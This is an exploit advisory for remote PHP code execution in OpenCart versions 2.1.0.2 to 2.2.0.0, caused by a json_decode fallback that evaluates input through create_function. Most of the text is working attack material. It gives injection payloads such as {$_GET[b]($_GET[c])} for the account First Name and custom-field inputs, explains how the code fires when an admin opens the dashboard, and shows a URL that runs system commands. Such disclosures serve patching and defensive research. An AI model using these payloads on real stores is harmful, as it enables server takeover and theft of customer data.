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OpenCart json_decode function Remote PHP Code Execution Author: Naser Farhadi Twitter: @naserfarhadi Date: 9 April 2016 Version: 2.1.0.2 to 2.2.0.0 (Latest version) Vendor Homepage: http://www.opencart.com/ Vulnerability: ------------ /upload/system/helper/json.php $match = '/".*?(?<!\\\\)"/'; $string = preg_replace($match, '', $json); $string = preg_replace('/[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/', '', $string); ... $function = @create_function('', "return {$json};"); /**** The Root of All Evil ****/ $return = ($function) ? $function() : null; ... return $return; Exploit(json_decode): ------------ var_dump(json_decode('{"ok":"{$_GET[b]($_GET[c])}"}')); var_dump(json_decode('{"ok":"$_SERVER[HTTP_USER_AGENT]"}')); var_dump(json_decode('{"ok":"1"."2"."3"}')); Real World Exploit(OpenCart /index.php?route=account/edit) ------------ go to http://host/shop_directory/index.php?route=account/edit fill $_SERVER[HTTP_USER_AGENT] as First Name /** save it two times **/ Code execution happens when an admin user visits the administration panel, in this example admin user sees his user agent as your First Name in Recent Activity :D Another example(OpenCart account/edit or account/register custom_field): /** Best Case **/ ------------ if admin adds a Custom Field from /admin/index.php?route=customer/custom_field for custom user information like extra phone number,... you can directly execute your injected code. go to http://host/shop_directory/index.php?route=account/edit fill {$_GET[b]($_GET[c])} as Custom Field value save it go to http://host/shop_directory/index.php?route=account/edit&b=system&c=ls /** Mission Accomplished **/ Note: ------------ Exploit only works if PHP JSON extension is not installed. Video: https://youtu.be/1Ai09IQK4C0 |
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